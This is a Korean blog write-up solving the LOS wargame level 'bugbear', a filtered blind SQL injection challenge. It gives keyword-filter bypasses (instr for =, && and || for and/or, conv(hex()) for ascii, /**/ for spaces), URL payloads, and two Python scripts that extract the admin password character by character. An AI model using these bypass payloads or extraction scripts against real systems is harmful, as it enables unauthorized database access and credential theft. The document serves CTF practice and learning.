본문으로 바로가기

LOS 13(bugbear)

category LOS-write up 2021. 1. 3. 04:17

문제

문제 분석

no에 "prob" , "_" , "." ,"'"(싱글쿼터),"substr","ascii","=","or","and","like","0x",(화이트 스페이스 즉 띄어쓰기)를 피해줘야 하고

id를 조회하는 쿼리가 참이된다면 hello admin이 출력되는데 이것으로 blind injection을 진행한다.

 

결국 blind injection으로 알아낸 admin의 pw값을 정확히 입력해줘야 문제가 풀린다. 

pw값이 존재하며 입력 받은 pw의 값과 같은 조건을 우회하기는 힘들다. 

 

이때 ord 도 or로 막히기때문에 pw의 문자를 하나씩 가져오는 방법을 알아내는 것이 핵심이다

 

문제풀이

no에 아무 숫자를 넣어주어 아무값도 없게 만들고 or를 입력해서 뒤에 쿼리를 id='admin' and 1(1 대신 원하는 조건)으로 조작한다

where id='admin' and pw= '' and no= 1 or id='admin' and 1
=>  and로 묶이는 주황색 조건은 pw='' 때문에 전부 false가 되고 뒤에 id가 admin이란 조건과 참인 조건이 만나면 hello admin이 출력되어 조건이 맞는지 아닌지 파악 가능

=>파란색 조건에서 id='admin'조건을 해주지않는다면 다른 id인 guest와 혼동될수 있다.

이제 1 대신 pw와 관련된 조건을 입력하여 blind injection을 진행한다.

 

 

우선 필터링으로 거의다 막히게 되는데 먼저 아래와 같이 우회를 진행하면 된다.

 

=,like -> instr

and -> &&

or -> ||

ord,ascii -> conv(hex(),16,10) 

공백(화이트 스페이스) -> /**/

'admin' -> char(97,100,109,105,110)

 

 

 

 

문제 정답

 

pw 길이를 알아내는 조건

URL?no=1/**/||/**/instr(id,char(97,100,109,105,110))/**/&&/**/instr(length(pw),1)

1의 값을 하나씩 바꿔주는데 hello admin이 출력되는 수가 pw의 길이이다.

 

 

pw 값을 알아내는 조건

URL?no=1/**/||/**/instr(id,char(97,100,109,105,110))/**/&&/**/instr(conv(hex((mid(pw,1,1))),16,10),1)

pw의 자릿수를 아스키코드로 바꿔 참이되는지 파악하는 조건문이며  1은 pw의 자릿수를 의미하고 1에 맞는 ascii 숫자가 들어가면 조건이 참이 되면서 hello admin이 된다. 

 

 

따라서 위의 조건을 통해 password를 알아내서 pw를 정확히 입력하면 문제가 풀린다.

URL?pw=52dc3991

 

아래의 코드를 통해 쉽게 알아낼 수 있다.

 

 

 

문제 풀이 코드 1

import requests

url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'}  #로그인 쿠키
count=0
data={}
password=""
same=""

for pw_length in range(1,12):
    data['no']="1/**/||/**/instr(id,char(97,100,109,105,110))/**/&&/**/instr(length(pw),"+str(pw_length)+")"
    res = requests.get(url, params=data, cookies=session)
    
    if "Hello admin" in res.text:
        print("pw_length:"+str(pw_length)) 
        break
        

for i in range(1,pw_length+1):
    for j in range(32,127):
        count=0
        data['no']="1/**/||/**/instr(id,char(97,100,109,105,110))/**/&&/**/instr(conv(hex((mid(pw,"+str(i)+",1))),16,10),"+str(j)+")" #ord대신 hex를 사용해서 j를 16진수로 바꾸고 다시 10진수로 바꿔준다
        res = requests.get(url, params=data, cookies=session)
        if "Hello admin" in res.text:
            count=1
            password+=chr(j)
            print(password)
            break
        


        
  

data['pw']=password
res = requests.get(url, params=data, cookies=session)

print(res.url)

if "Clear!" in res.text:
    print("\nClear!")
else:
    print("try again!")

 

문제 풀이 코드 2

처음에는 id=admin 조건을 주지않고 문제를 풀었는데 blind injection을 하며 hello admin이 안나오고 hello guest만 나온다면 admin과 guest가 겹치는 걸로 판단하였다.

import requests

url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'}  #로그인 쿠키
count=0
data={}
password=""
same=""

for pw_length in range(1,12):
    data['no']="1/**/||/**/instr(length(pw),"+str(pw_length)+")"
    res = requests.get(url, params=data, cookies=session)
    
    if "Hello admin" in res.text:
        print("pw_length:"+str(pw_length)) 
        break
        

for i in range(1,pw_length+1):
    for j in range(32,127):
        count=0
        data['no']="1/**/||/**/instr(conv(hex((mid(pw,"+str(i)+",1))),16,10),"+str(j)+")" #ord대신 hex를 사용해서 j를 16진수로 바꾸고 다시 10진수로 바꿔준다
        res = requests.get(url, params=data, cookies=session)
        if "Hello admin" in res.text:
            count=1
            password+=chr(j)
            print(password)
            break
        if "Hello guest" in res.text:
            same=chr(j)
            #print(same)
        if (j == 126) and (count == 0): #만약 admin과 guest의 pw가 같은위치에서 같을경우 admin은 검색이 안되기 때문에 이를 방지
            password+=same
            print(password)


        
  

data['pw']=password
res = requests.get(url, params=data, cookies=session)

print(res.url)

if "Clear!" in res.text:
    print("\nClear!")
else:
    print("try again!")

코드 결과

'LOS-write up' 카테고리의 다른 글

LOS 15(assassin)  (0) 2021.01.05
LOS 14(giant)  (0) 2021.01.05
LOS 12(darkknight)  (0) 2021.01.03
LOS 11(golem)  (0) 2021.01.03
LOS 10(skeleton)  (0) 2021.01.03